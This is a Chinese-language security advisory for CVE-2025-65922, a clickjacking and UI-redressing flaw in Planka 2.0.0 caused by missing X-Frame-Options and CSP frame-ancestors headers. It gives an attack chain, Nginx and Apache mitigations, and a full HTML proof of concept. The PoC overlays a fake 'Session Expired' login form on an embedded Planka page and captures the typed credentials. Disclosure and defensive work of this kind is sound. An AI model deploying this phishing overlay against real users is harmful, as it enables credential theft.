IPBUF安全漏洞报告
English
CVE-2025-65922 CVSS 4.3 中危

CVE-2025-65922: Planka 2.0.0 缺少安全头导致点击劫持/钓鱼攻击风险

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-65922
漏洞类型
点击劫持/UI伪装
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Planka 2.0.0

相关标签

点击劫持UI伪装钓鱼攻击安全头缺失X-Frame-OptionsCSPPlankaWeb安全身份认证绕过

漏洞概述

Planka是一款开源的项目管理和协作工具。2025年披露的CVE-2025-65922漏洞显示,Planka 2.0.0版本缺少关键的Web安全响应头(X-Frame-Options和Content-Security-Policy的frame-ancestors指令),导致应用程序可以被恶意网站通过iframe嵌入。这种安全缺陷使得攻击者能够在钓鱼攻击中利用合法网站的信任度,通过UI伪装技术(UI Redressing)欺骗用户。攻击者可以在看似可信的合法Planka页面上覆盖伪造的登录表单或敏感信息输入框,诱导用户输入凭据或其他敏感数据。虽然该漏洞不直接导致未授权操作或数据窃取,但显著增加了钓鱼攻击的成功率,对用户安全构成威胁。供应商声称使用了SameSite=Strict cookies,但安全头缺失问题仍需修复。

技术细节

该漏洞的根本原因是Planka 2.0.0在HTTP响应中缺少两个重要的安全头:

1. X-Frame-Options头:该头用于控制页面是否可以被嵌入到iframe中。有效值包括DENY(完全禁止)、SAMEORIGIN(仅允许同源嵌入)。缺失此头意味着任何网站都可以将Planka页面嵌入到自己的页面中。

2. Content-Security-Policy (CSP) frame-ancestors指令:该指令是X-Frame-Options的更强大替代方案,可以指定允许嵌入页面的来源。

攻击者可以创建一个包含iframe的恶意HTML页面,将合法的Planka应用嵌入其中。由于浏览器地址栏显示的是攻击者控制的域名,但iframe内显示的是合法的Planka界面,用户可能误以为整个页面都是可信的。攻击者随后可以在iframe上方覆盖透明的或伪装的表单元素,捕获用户的输入。这种攻击利用了用户对iframe内显示内容的信任,而浏览器不会在跨域iframe中显示URL、安全锁或证书信息。攻击的隐蔽性在于用户看到的确实是真实的Planka页面,只是输入被重定向到了攻击者控制的元素。

攻击链分析

STEP 1
1
攻击者创建恶意钓鱼网站,托管包含iframe的HTML页面
STEP 2
2
恶意页面通过iframe加载目标Planka应用(无X-Frame-Options保护)
STEP 3
3
攻击者在iframe上方创建伪造的UI元素(如登录表单、密码重置框等)
STEP 4
4
用户访问钓鱼网站,看到真实的Planka界面(建立信任)
STEP 5
5
用户误以为伪造的表单属于合法Planka,输入敏感信息
STEP 6
6
恶意JavaScript捕获用户输入的凭据并发送给攻击者
STEP 7
7
攻击者利用窃取的凭据进行后续恶意活动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-65922 PoC: Clickjacking/Phishing via iframe embedding --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Malicious Site - CVE-2025-65922 PoC</title> <style> body { margin: 0; padding: 20px; font-family: Arial, sans-serif; background: #f0f0f0; } .container { position: relative; width: 100%; max-width: 1200px; margin: 0 auto; } h1 { color: #333; text-align: center; } .iframe-wrapper { position: relative; width: 100%; height: 700px; border: 2px solid #333; border-radius: 8px; overflow: hidden; } iframe { width: 100%; height: 100%; border: none; } /* Fake overlay form positioned over the legitimate login */ .fake-overlay { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); background: rgba(255, 255, 255, 0.95); padding: 30px; border-radius: 10px; box-shadow: 0 10px 40px rgba(0,0,0,0.3); text-align: center; z-index: 10; width: 300px; } .fake-overlay input { width: 100%; padding: 12px; margin: 10px 0; border: 1px solid #ccc; border-radius: 5px; box-sizing: border-box; } .fake-overlay button { width: 100%; padding: 12px; background: #4CAF50; color: white; border: none; border-radius: 5px; cursor: pointer; font-size: 16px; } .fake-overlay button:hover { background: #45a049; } .warning { background: #ff9800; color: white; padding: 15px; border-radius: 5px; margin-bottom: 20px; text-align: center; } </style> </head> <body> <div class="container"> <div class="warning"> <strong>⚠️ Educational PoC for CVE-2025-65922</strong><br> This demonstrates how Planka can be embedded due to missing security headers. </div> <h1>Phishing Page with Embedded Planka (CVE-2025-65922)</h1> <div class="iframe-wrapper"> <!-- Embedding legitimate Planka application --> <iframe src="http://localhost:3000" sandbox="allow-scripts allow-forms allow-same-origin"></iframe> <!-- Fake overlay form for credential capture --> <div class="fake-overlay"> <h3>🔒 Session Expired</h3> <p style="color: #666; font-size: 14px;">Please verify your credentials to continue</p> <form id="phishingForm"> <input type="email" placeholder="Email" required> <input type="password" placeholder="Password" required> <button type="submit">Verify Identity</button> </form> </div> </div> <p style="text-align: center; margin-top: 20px; color: #666;"> <strong>Note:</strong> The overlay captures credentials even though the legitimate Planka page is displayed. This works because Planka lacks X-Frame-Options and CSP frame-ancestors headers. </p> </div> <script> // Capture credentials document.getElementById('phishingForm').addEventListener('submit', function(e) { e.preventDefault(); const formData = new FormData(this); const credentials = { email: this.querySelector('input[type="email"]').value, password: this.querySelector('input[type="password"]').value, timestamp: new Date().toISOString() }; console.log('Captured credentials:', credentials); alert('Credentials captured! (This is a PoC)'); }); </script> </body> </html>

影响范围

Planka 2.0.0

防御指南

临时缓解措施
在Web服务器或反向代理层面临时添加X-Frame-Options: DENY响应头,并配置Content-Security-Policy包含frame-ancestors 'none'指令。对于Nginx服务器,可在配置文件中添加:add_header X-Frame-Options "DENY" always; add_header Content-Security-Policy "frame-ancestors 'none';" always; 对于Apache服务器,使用Header always set X-Frame-Options "DENY"和Header always set Content-Security-Policy "frame-ancestors 'none';"指令。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表